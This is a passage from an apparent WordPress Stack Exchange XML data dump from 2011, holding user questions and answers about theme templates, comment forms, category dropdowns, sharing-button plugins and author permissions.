true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have any insights into why the unedited file might cause issues with plugins?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-04-08T01:24:50.803" Title="apache_mod_loaded setting can fubar plugins?" Tags="&lt;mod-rewrite&gt;&lt;apache&gt;" AnswerCount="1" />
  <row Id="14216" PostTypeId="2" ParentId="14214" CreationDate="2011-04-07T22:59:15.483" Score="1" ViewCount="" Body="&lt;p&gt;you can always get the thumbnail, but size it with CSS as Xavier mentioned.&lt;/p&gt;&#xA;" OwnerUserId="3833" LastActivityDate="2011-04-07T22:59:15.483" CommentCount="1" />
  <row Id="14217" PostTypeId="1" AcceptedAnswerId="14228" CreationDate="2011-04-07T23:01:10.220" Score="-1" ViewCount="127" Body="&lt;p&gt;I know how to hardcode that... but i like to have a plugin with shortcode that will make it for me... do you know any...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, i will have to make it myself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a page (blank) and build it base on post category. So in page xyz display all the post with category=abc. So the build page will display all the abc post back to back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Framework do that, but i only have a simple theme... how to do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, i know that clicking on category will just do that, but it's less managable !&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-04-08T00:41:07.637" Title="Build page base on category" Tags="&lt;categories&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="14218" PostTypeId="1" CreationDate="2011-04-07T23:13:09.143" Score="0" ViewCount="238" Body="&lt;p&gt;&lt;strong&gt;I have loop, wich create news feed, it looks like:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(part of news template)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News.php&#xA;     &#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;scrollArea&quot;&amp;gt;&#xA;            &amp;lt;?php query_posts('category_name=News');?&amp;gt;&#xA;            &amp;lt;?php  if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;news_block&quot;&amp;gt;&#xA;                        &amp;lt;p class=&quot;news_title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;news_date&quot;&amp;gt;&amp;lt;?php the_time('F jS, Y'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;news_text&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php comments_link(); ?&amp;gt;&quot;&amp;gt;Comments to this post     (&amp;lt;?php comments_number('0', 'One Response', '%' ); ?&amp;gt;) &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile;?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;        &#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;news_right&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt; &#xA;&amp;lt;?php&#xA;    get_footer(); &#xA;?&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Comments.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package WordPress&#xA; * @subpackage Starkers HTML5&#xA; */&#xA;// Do not delete these lines&#xA;        if (!empty($_SERVER['SCRIPT_FILENAME']) &amp;amp;&amp;amp; 'comments.php' ==         basename($_SERVER['SCRIPT_FILENAME']))&#xA;        die ('Please do not load this page directly. Thanks!');&#xA;&#xA;    if ( post_password_required() ) { ?&amp;gt;&#xA;        &amp;lt;p class=&quot;alert&quot;&amp;gt;This post is password protected. Enter the password to    view comments.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php&#xA;        return;&#xA;    }&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;!-- You can start editing here. --&amp;gt; &amp;lt;--edit from here--&amp;gt;&#xA;&amp;lt;?php get_header();&#xA;get_template_part('nav');  ?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;scrollArea&quot;&amp;gt;&#xA;   &amp;lt;--end editing heret--&amp;gt;&#xA;&#xA;&amp;lt;?php if ( have_comments() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;h3 id=&quot;comments&quot;&amp;gt;&amp;lt;?php comments_number('No Responses', 'One Response', '% Responses' );?&amp;gt; to &amp;amp;#8220;&amp;lt;?php the_title(); ?&amp;gt;&amp;amp;#8221;&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;?php previous_comments_link() ?&amp;gt; &amp;lt;?php next_comments_link() ?&amp;gt;&#xA;&#xA;    &amp;lt;!-- View functions.php for comment markup --&amp;gt;&#xA;    &amp;lt;?php wp_list_comments('callback=html5_comment&amp;amp;end-callback=close_comment'); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php previous_comments_link() ?&amp;gt; &amp;lt;?php next_comments_link() ?&amp;gt;&#xA;&#xA;&amp;lt;?php else : // this is displayed if there are no comments so far ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( comments_open() ) : ?&amp;gt;&#xA;    &amp;lt;!-- If comments are open, but there are no comments. --&amp;gt;&#xA;&#xA; &amp;lt;?php else : // comments are closed ?&amp;gt;&#xA;    &amp;lt;!-- If comments are closed. --&amp;gt;&#xA;    &amp;lt;p class=&quot;nocomments&quot;&amp;gt;Comments are closed.&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3 id=&quot;respond&quot;&amp;gt;&amp;lt;?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;p class=&quot;cancel-comment-reply&quot;&amp;gt;&amp;lt;?php cancel_comment_reply_link(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;?php if ( get_option('comment_registration') &amp;amp;&amp;amp; !is_user_logged_in() ) : ?&amp;gt;&#xA;&amp;lt;p&amp;gt;You must be &amp;lt;a href=&quot;&amp;lt;?php echo wp_login_url( get_permalink() ); ?&amp;gt;&quot;&amp;gt;logged in&amp;lt;/a&amp;gt; to post a comment.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-comments-post.php&quot; method=&quot;post&quot; id=&quot;commentform&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( is_user_logged_in() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Logged in as &amp;lt;a href=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-admin/profile.php&quot;&amp;gt;&amp;lt;?php echo $user_identity; ?&amp;gt;&amp;lt;/a&amp;gt;. &amp;lt;a href=&quot;&amp;lt;?php echo wp_logout_url(get_permalink()); ?&amp;gt;&quot; title=&quot;Log out of this account&quot;&amp;gt;Log out &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;author&quot; id=&quot;author&quot; value=&quot;&amp;lt;?php echo esc_attr($comment_author); ?&amp;gt;&quot; size=&quot;22&quot; &amp;lt;?php if ($req) echo &quot;required&quot;; ?&amp;gt; /&amp;gt;&#xA;    &amp;lt;label for=&quot;author&quot;&amp;gt;Name &amp;lt;?php if ($req) echo &quot;(required)&quot;; ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&amp;lt;?php echo esc_attr($comment_author_email); ?&amp;gt;&quot; size=&quot;22&quot; &amp;lt;?php if ($req) echo &quot;required&quot;; ?&amp;gt; /&amp;gt;&#xA;    &amp;lt;label for=&quot;email&quot;&amp;gt;Mail (will not be published) &amp;lt;?php if ($req) echo &quot;(required)&quot;; ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;url&quot; name=&quot;url&quot; id=&quot;url&quot; value=&quot;&amp;lt;?php echo esc_attr($comment_author_url); ?&amp;gt;&quot; size=&quot;22&quot; /&amp;gt;&#xA;    &amp;lt;label for=&quot;url&quot;&amp;gt;Website&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;!--&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;XHTML:&amp;lt;/strong&amp;gt; You can use these tags: &amp;lt;code&amp;gt;&amp;lt;?php echo allowed_tags(); ?&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;--&amp;gt;&#xA;&#xA;    &amp;lt;textarea name=&quot;comment&quot; id=&quot;comment&quot; cols=&quot;50&quot; rows=&quot;10&quot; required&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot; id=&quot;send&quot;&amp;gt;Submit Comment&amp;lt;/button&amp;gt;&#xA;&#xA;    &amp;lt;?php comment_id_fields(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php do_action('comment_form', $post-&amp;gt;ID); ?&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;?php endif; // If registration required and not logged in ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;        &#xA;        &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;/div&amp;gt; &#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Link to comments works fine, comments appear inside of container &quot;content&quot; and looks good.&#xA;but previous, current and next posts appear outside of container &quot;content&quot;, after header and before all other content. I made changes only in news page template and my_theme/comments.php file. (tags &quot;edit from here&quot; and &quot;end editing here&quot;)&#xA;Which files I need to modify else? What is the problem could be?&lt;/p&gt;&#xA;" OwnerUserId="4519" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-26T03:19:18.970" LastActivityDate="2011-08-24T16:34:13.693" Title="How to implement a WordPress comments function?" Tags="&lt;posts&gt;&lt;functions&gt;&lt;comments&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14219" PostTypeId="2" ParentId="14213" CreationDate="2011-04-07T23:13:52.297" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at the classes offered by your body_class() function to your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element. Then overwrite your div with the ID &lt;code&gt;#main&lt;/code&gt; on your posts page with a &lt;a href=&quot;http://www.smashingmagazine.com/2007/07/27/css-specificity-things-you-should-know/&quot; rel=&quot;nofollow&quot;&gt;higher specifity&lt;/a&gt; and set this div to &lt;code&gt;display: none;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-07T23:13:52.297" CommentCount="1" />
  <row Id="14221" PostTypeId="1" CreationDate="2011-04-07T23:27:33.323" Score="1" ViewCount="68" Body="&lt;p&gt;This question relates to plugins for Linkedin Share buttons, Twitter Tweet buttons, and Facebook Like buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are for blog posts on a WordPress blog which is at a subdomain of a site that is built in CakePHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the possibility that &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14196&quot;&gt;plugins can become outdated&lt;/a&gt;, and that if this happens there is a possibility of losing the counts of shares / tweets / likes, I'm wondering if it's better to add in these sharing buttons manually into the &lt;code&gt;single.php&lt;/code&gt; theme file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it better to use plugins to add in these buttons, or to add the buttons manually into the &lt;code&gt;single.php&lt;/code&gt; theme file?&lt;/p&gt;&#xA;" OwnerUserId="4514" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-08T09:38:02.383" LastActivityDate="2011-05-04T20:49:31.167" Title="Should I add sharing buttons using a plugin or directly in my theme files?" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;maintenance&gt;" AnswerCount="4" />
  <row Id="14222" PostTypeId="1" CreationDate="2011-04-07T23:40:41.420" Score="0" ViewCount="49" Body="&lt;p&gt;Theres a way to change the template of the home page index through a plugin? Using or including a custom layout inside my custom plugin nfolder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-04-07T23:40:41.420" Title="How to change Buddypress index without touching the theme" Tags="&lt;buddypress&gt;" />
  <row Id="14223" PostTypeId="1" AcceptedAnswerId="14251" CreationDate="2011-04-08T00:05:53.697" Score="1" ViewCount="133" Body="&lt;p&gt;(First of all, sorry for bad english)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are people here using wordpress as cms, you probably realize that you dont need comment system that much. Esspecially custom post types like products need a contact form system that saves coming input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i am dreaming but cant coding:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing comment system for custom post types. Let me explain on an example:&#xA;Lets say we have a custom post type thats using for product list. We dont need/want customer comments on this product but we want customers send us what they are thinking on this product. So they will use this &quot;custom comment type&quot; system and sending us a comment but this comment is not publishing on website and in admin panel, when we reply to comment, wordpress will send that reply as e-mail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we can see all new contact form inputs about this product in a list as archieved in wordpress comment table and we can reply them from admin panel. When product is updated or a special discount or something, we will have a list of customers that previously asked a question about it so we can contact them again about new updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In background, as performance, product custom post type not need to load comments so this will reduce database queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think about it? Possible?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-04-08T09:24:22.440" Title="Custom comment type maybe?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;comments&gt;&lt;customization&gt;&lt;contact&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" />
  <row Id="14224" PostTypeId="1" AcceptedAnswerId="14227" CreationDate="2011-04-08T00:24:22.830" Score="0" ViewCount="167" Body="&lt;p&gt;Okay, I think I'm pretty close. I have the following going on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_id = get_cat_id('library');&#xA;&#xA;wp_dropdown_categories('hierarchical=1&amp;amp;parent=$cat_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it doesn't work with $cat_id in there. It does work when I put the category's ID number in there (which I got when I echoed $cat_id), but obviously that presents a problem when I install the site on the real server. What should I try? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3755" LastActivityDate="2011-04-08T00:38:48.113" Title="How do I list only children of a specific category in a drop-down?" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="14225" PostTypeId="2" ParentId="14213" CreationDate="2011-04-08T00:29:45.193" Score="0" ViewCount="" Body="&lt;p&gt;Hello Chris here is how i propose you do it;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;markup (HTML / PHP)&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;main&quot; class=&quot;&amp;lt;?php if(is_single($post)) { echo 'post'; } else { echo 'page'; }; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;css&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#main .post&#xA;{&#xA;    background:none;&#xA;}&#xA;#main .page&#xA;{&#xA;    background:#CCC;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically the code checks to see if the post is a &quot;single post&quot; and if true it returns the class=&quot;post&quot; if not it returns the class=&quot;page&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the markup to the place you are trying to put this into effect i.e. your template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should do what you want it to do :)&lt;/p&gt;&#xA;" OwnerUserId="4369" LastActivityDate="2011-04-08T00:29:45.193" CommentCount="1" />
  <row Id="14226" PostTypeId="2" ParentId="14221" CreationDate="2011-04-08T00:35:21.693" Score="1" ViewCount="" Body="&lt;p&gt;Using a plugin is always a quick and easy thing to do, until it goes wrong.  I am a fan of less plugins (unless you really need them) and more hard-code reason is that you then have full control of what goes into your project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And at the comment on &quot;plugins can become outdated and that...&quot; i think you answered your own question with that one line :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write more, worry about less -&gt; thats my motto :D&lt;/p&gt;&#xA;" OwnerUserId="4369" LastActivityDate="2011-04-08T00:35:21.693" CommentCount="2" />
  <row Id="14227" PostTypeId="2" ParentId="14224" CreationDate="2011-04-08T00:38:48.113" Score="1" ViewCount="" Body="&lt;p&gt;If you change your single quote marks in to double quote marks  it should work :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_id = get_cat_id('library');&#xA;wp_dropdown_categories(&quot;hierarchical=1&amp;amp;parent=$cat_id&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if you really want to make it more flexible you can phrase your arguments as an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA; 'hierarchical' =&amp;gt; 1,&#xA; 'parent' =&amp;gt; get_cat_id('library'));&#xA;wp_dropdown_categories($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you want to make it even more flexible to get the current category's children you can use &lt;code&gt;get_query_var('cat');&lt;/code&gt; assuming that you are in your category.php file, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA; 'hierarchical' =&amp;gt; 1,&#xA; 'parent' =&amp;gt; get_query_var('cat'));&#xA;wp_dropdown_categories($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-08T00:38:48.113" CommentCount="2" />
  <row Id="14228" PostTypeId="2" ParentId="14217" CreationDate="2011-04-08T00:41:07.637" Score="0" ViewCount="" Body="&lt;p&gt;I dont quite understand how it's less easier to manage a category...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have &lt;code&gt;Category -&amp;gt; Post&lt;/code&gt; but instead you want &lt;code&gt;Page -&amp;gt; Category -&amp;gt; Post&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't make sense in what you are trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And and if your trying to link categories into pages just so you can include them in some form of navigation, WP3.0+ has the ability to link categories with &lt;code&gt;Appearance -&amp;gt; Menus&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you don't really manage a category you just manage the posts associated to a category.&lt;/p&gt;&#xA;" OwnerUserId="4369" LastActivityDate="2011-04-08T00:41:07.637" />
  <row Id="14229" PostTypeId="2" ParentId="14223" CreationDate="2011-04-08T00:51:57.367" Score="1" ViewCount="" Body="&lt;p&gt;&lt;em&gt;If you are unsure about something i wrote here: Please use a dictionary english/turkish.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What do you think about it? Possible?  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;when we reply to comment, wordpress will send that reply as e-mail.   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will have to use some sort of comment notification for this. This would then send an e-mail if you posted a reply to the &quot;comment&quot;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and we can reply them from admin panel  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This won't be too easy. Easier would be to use something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_user_can('some_capability') ) &#xA;{&#xA;    comment_form(); // shows the comment form&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your templates, which will make the comment form only visible for people who are &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;logged in and  &lt;/li&gt;&#xA;&lt;li&gt;have the appropriate capability  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and then reply directly on your public page. Everything else would be much more complicated.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-08T00:51:57.367" />
  <row Id="14230" PostTypeId="1" AcceptedAnswerId="14471" CreationDate="2011-04-08T00:53:48.737" Score="3" ViewCount="191" Body="&lt;p&gt;I am setting up a site where there will be multiple users as Author, the owner doesn't want the authors to be able to view each others posts, since there are some meta fields with information he'd rather not have shared between the authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove the ability to view other authors posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Chuck&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify a bit more, this is for the admin side, at the top underneath Posts, there are links for mine, all, and published. I only want Authors to see &quot;mine&quot;.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="4090" LastEditorDisplayName="" LastEditDate="2011-04-08T22:14:20.673" LastActivityDate="2011-04-11T10:26:10.853" Title="Prevent Authors from viewing each others Posts" Tags="&lt;posts&gt;&lt;author&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" />
  <row Id="14231" PostTypeId="2" ParentId="14221" CreationDate="2011-04-08T00:57:09.253" Score="1" ViewCount="" Body="&lt;p&gt;Basically This becomes a question of &lt;strong&gt;Plugin VS. Custom coding&lt;/strong&gt;, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question as been asked before and some people feel that if there is a plugin then go with it, while others feel that they rather trust no one with there site's code and functionality, or know they can code it in a better way so they write there own code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I follow my golden rule of if its coded good and working &lt;strong&gt;&quot;why reinvent the wheel?&quot;&lt;/strong&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if i need some kind of functionality i look for plugins that are by known coders, have more then a single version and are regularly updated.&#xA;If nothing comes near that i look at old plugins that &quot;used to work&quot; study them and then i either fix them and change them to my specific needs or write as new from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same way a plugin could stop working (not function as expected) so can your own code that you put in your single.php or any other file for that matter especially when working with external API's like FaceBook, Twitter and LinkedIn that keep changing every now and then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's just my opinion there are no right and wrong here.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-08T00:57:09.253" />
  <row Id="14232" PostTypeId="2" ParentId="14215" CreationDate="2011-04-08T01:24:50.803" Score="1" ViewCount="" Body="&lt;p&gt;I think it has to do with &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15044&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15044&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem appears to be localized&#xA;  around the use of ob_get_clean in the&#xA;  definition of apache_mod_loaded in the&#xA;  branch that has to parse phpinfo.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-08T01:24:50.803" />
  <row Id="14233" PostTypeId="1" CreationDate="2011-04-08T01:50:45.453" Score="0" ViewCount="207" Body="&lt;p&gt;Using Wordpress v3.1.1 to setup a new CMS.&lt;br&gt;&#xA;BBPress is not satisfactory, therefore I have chosen to use phpBB for the forum platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the &lt;a href=&quot;http://www.dekho.com.au/&quot; rel=&quot;nofollow&quot;&gt;wordpress bones laid out&lt;/a&gt;, and also settled on the boldy theme (&lt;a href=&quot;http://www.site5.com/wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;Site5&lt;/a&gt;).&lt;br&gt;&#xA;I would like to retain this theme for the Forum, so I need to find out how to embed a phpBB forum within Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do you embed a phpBB forum within a Wordpress theme?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I had heard good things about WP-United, but their website has been down for over 3mths now, and the author has not responded to my emails.  Therefore I am concluding that the developer is retiring the plugin, and my confidence in it being futureproof is low.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="4280" LastEditorDisplayName="" LastEditDate="2011-04-08T08:50:03.397" LastActivityDate="2011-04-08T09:05:17.763" Title="Embed phpBB within Wordpress?" Tags="&lt;forum&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14234" PostTypeId="2" ParentId="14223" CreationDate="2011-04-08T01:56:45.847" Score="0" ViewCount="" Body="&lt;p&gt;You can use a simple form to get the customers comments on the product and replay by mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is something i used long time ago and i should do the job for you, its a simple form with minor validation, just change: Your_mail to your mail address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset ($_post['submit'] &amp;amp;&amp;amp; $post_['my_action'] == 'product_comment'){&#xA;    if (wp_verify_nonce($_POST['product_comment'],'p_comment')){ &#xA;    global $post;&#xA;        $error =  false;&#xA;        $em = array();&#xA;        if (!isset($_post['pc_name'])){&#xA;            $em[] = __('Name');&#xA;            $error = true;&#xA;        }&#xA;        if (!isset($_post['pc_email'])){&#xA;            if ($error){$em[] = __(', Email');&#xA;            }else{&#xA;                $error = true;&#xA;                $em[] = __(', Email');&#xA;            }&#xA;&#xA;        }&#xA;        if (!isset($_post['pc_phone'])){&#xA;            if ($error){$em[] = __(', Phone');}&#xA;            else{&#xA;                $em[] = __('Phone');&#xA;                $error = true;&#xA;            }&#xA;        }&#xA;        if (!isset($_post['cp_feedback'])){&#xA;            if ($error){$em[] = __(', Your Feedback');&#xA;            }&#xA;            else{&#xA;                $em[] = __('Your Feedback');&#xA;                $error = true;&#xA;            }&#xA;        }&#xA;        if (!$error){&#xA;            $subject = 'New '. $post-&amp;gt;post_title . ' Feedback';&#xA;            $M = &quot;Name: $_post['pc_name'] \n&#xA;            Email: $_post['pc_email']\n&#xA;            Phone: $_post['pc_phone']\n&#xA;            Feedback: $_post['cp_feedback']&quot;;&#xA;            wp_mail('Your_mail',$subject, $M);&#xA;&#xA;        }&#xA;    }else{&#xA;        $em[] = 'squrity error';&#xA;        $error = true;&#xA;    }&#xA;}&#xA;&amp;lt;h3&amp;gt;&amp;lt;?php _e('Leave Your Feedback'); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php if($error){&#xA;            echo _e('please correct the following: &amp;lt;br/&amp;gt;');&#xA;            foreach ($em as $e){&#xA;                echo $e;&#xA;            }} ?&amp;gt;&#xA;&amp;lt;form id=&quot;product-comment&quot; name=&quot;product-comment&quot; action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php _e('Name'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;pc_name&quot; id=&quot;pc_name&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php _e('Email'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;pc_email&quot; id=&quot;pc_email&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php _e('phone'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;pc_phone&quot; id=&quot;pc_phone&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php _e('Your Feedback'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;textarea tabindex=&quot;4&quot; rows=&quot;13&quot; cols=&quot;50%&quot; id=&quot;cp_feedback&quot; 